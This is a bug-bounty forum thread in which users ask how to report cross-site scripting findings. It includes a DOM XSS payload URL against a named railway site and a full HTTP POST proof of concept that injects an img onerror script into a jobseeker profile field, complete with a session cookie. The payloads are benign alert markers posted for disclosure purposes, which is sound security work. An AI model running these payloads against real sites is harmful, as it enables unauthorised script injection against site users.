Open Bug Bounty Community Forum

There is a DOM XSS, visible on Chrome, in site http://www.trenitalia.com

http://www.trenitalia.com/#"><img src=x onerror=prompt('OPENBUGBOUNTY')>

I try to report it on OBB, but the site doesn't approve it for some reason

Hello admin
how can i submission suck example parameter name="summary" when check /Jobseeker/dashboard reflected Cross-site scripting (DOM-based)? code PoC

POST /Jobseeker/updatePersonalDetail/38318 HTTP/1.1
Host: xxx.com.np
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://xxx.com.np/Jobseeker/editProfile
Cookie: mycookiename=252060169693efce0d5887f42afbba83bdde7479; _ga=GA1.3.1449882869.1586698060; _gid=GA1.3.1881890604.1586698060; _gat_gtag_UA_51173775_3=1; _gat_gtag_UA_137271813_1=1; _gat_gtag_UA_160188939_1=1
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------1451056368887
Content-Length: 6572

-----------------------------1451056368887
Content-Disposition: form-data; name="email2"

[email protected]
-----------------------------1451056368887
Content-Disposition: form-data; name="summary"

<img src=x onerror=alert('openbugbounty')>
-----------------------------1451056368887
Content-Disposition: form-data; name="salutation"

14
-----------------------------1451056368887
Content-Disposition: form-data; name="fname"

Victim-Hacked
-----------------------------1451056368887
Content-Disposition: form-data; name="mname"

Firefox-gothacked
-----------------------------1451056368887
Content-Disposition: form-data; name="lname"

CSRF-Now
-----------------------------1451056368887
Content-Disposition: form-data; name="gender"

Female
-----------------------------1451056368887
Content-Disposition: form-data; name="mm"

9
-----------------------------1451056368887
Content-Disposition: form-data; name="dd"

10
-----------------------------1451056368887
Content-Disposition: form-data; name="yy"

1985
-----------------------------1451056368887
Content-Disposition: form-data; name="nationality"

31
-----------------------------1451056368887
Content-Disposition: form-data; name="phoneres"

035420132
-----------------------------1451056368887
Content-Disposition: form-data; name="phoneoff"

033332525
-----------------------------1451056368887
Content-Disposition: form-data; name="phonecell"

9800000001
-----------------------------1451056368887
Content-Disposition: form-data; name="phonecell2"

9801212120
-----------------------------1451056368887
Content-Disposition: form-data; name="maritalstatus"

Single
-----------------------------1451056368887
Content-Disposition: form-data; name="currentadd"

Old Road
-----------------------------1451056368887
Content-Disposition: form-data; name="currentcon"

HK
-----------------------------1451056368887
Content-Disposition: form-data; name="permanentadd"

NYC
-----------------------------1451056368887
Content-Disposition: form-data; name="permanentcon"

US
-----------------------------1451056368887
Content-Disposition: form-data; name="picture_previous"

29-Hotel-Icon-Has-Internet-5e8c09d5c86aa1.80624002.png
-----------------------------1451056368887
Content-Disposition: form-data; name="picture"; filename=""
Content-Type: application/octet-stream


-----------------------------1451056368887
Content-Disposition: form-data; name="citizenship_previous"


-----------------------------1451056368887
Content-Disposition: form-data; name="citizenship"; filename=""
Content-Type: application/octet-stream


-----------------------------1451056368887
Content-Disposition: form-data; name="latest_education_qualification"

bachelor
-----------------------------1451056368887
Content-Disposition: form-data; name="other_faculty"


-----------------------------1451056368887
Content-Disposition: form-data; name="slc_docs_previous"


-----------------------------1451056368887
Content-Disposition: form-data; name="slc_docs"; filename=""
Content-Type: application/octet-stream


-----------------------------1451056368887
Content-Disposition: form-data; name="docs_11_12_previous"


-----------------------------1451056368887
Content-Disposition: form-data; name="docs_11_12"; filename=""
Content-Type: application/octet-stream


-----------------------------1451056368887
Content-Disposition: form-data; name="bachelor_docs_previous"


-----------------------------1451056368887
Content-Disposition: form-data; name="bachelor_docs"; filename=""
Content-Type: application/octet-stream


-----------------------------1451056368887
Content-Disposition: form-data; name="masters_docs_previous"


-----------------------------1451056368887
Content-Disposition: form-data; name="masters_docs"; filename=""
Content-Type: application/octet-stream


-----------------------------1451056368887
Content-Disposition: form-data; name="other_docs_previous"


-----------------------------1451056368887
Content-Disposition: form-data; name="other_docs"; filename=""
Content-Type: application/octet-stream


-----------------------------1451056368887
Content-Disposition: form-data; name="workexp"

Yes
-----------------------------1451056368887
Content-Disposition: form-data; name="expyrs"

5
-----------------------------1451056368887
Content-Disposition: form-data; name="expmths"

1
-----------------------------1451056368887
Content-Disposition: form-data; name="cjobposiiton"

IT scurity- Pentesting openbugbounty
-----------------------------1451056368887
Content-Disposition: form-data; name="keyskills"

Pentesting Kali Linux great used after
-----------------------------1451056368887
Content-Disposition: form-data; name="preunit"

NPR
-----------------------------1451056368887
Content-Disposition: form-data; name="presal"

150000.00
-----------------------------1451056368887
Content-Disposition: form-data; name="expunit"

NPR
-----------------------------1451056368887
Content-Disposition: form-data; name="exptype"

Equals
-----------------------------1451056368887
Content-Disposition: form-data; name="expsal"

154
-----------------------------1451056368887
Content-Disposition: form-data; name="job_region"

296
-----------------------------1451056368887
Content-Disposition: form-data; name="joblocation"

92
-----------------------------1451056368887
Content-Disposition: form-data; name="joblocation2"

IT
-----------------------------1451056368887
Content-Disposition: form-data; name="funcarea1"

204
-----------------------------1451056368887
Content-Disposition: form-data; name="natureoforg1[]"

Security Providers
-----------------------------1451056368887
Content-Disposition: form-data; name="funcarea2"

269
-----------------------------1451056368887
Content-Disposition: form-data; name="natureoforg2[]"

Automobiles Sales & Services
-----------------------------1451056368887
Content-Disposition: form-data; name="natureoforg2[]"

IT-Hardware & Software Services
-----------------------------1451056368887
Content-Disposition: form-data; name="resume_previous"


-----------------------------1451056368887
Content-Disposition: form-data; name="resume"; filename=""
Content-Type: application/octet-stream


-----------------------------1451056368887
Content-Disposition: form-data; name="submit"


-----------------------------1451056368887--

Our report form have examples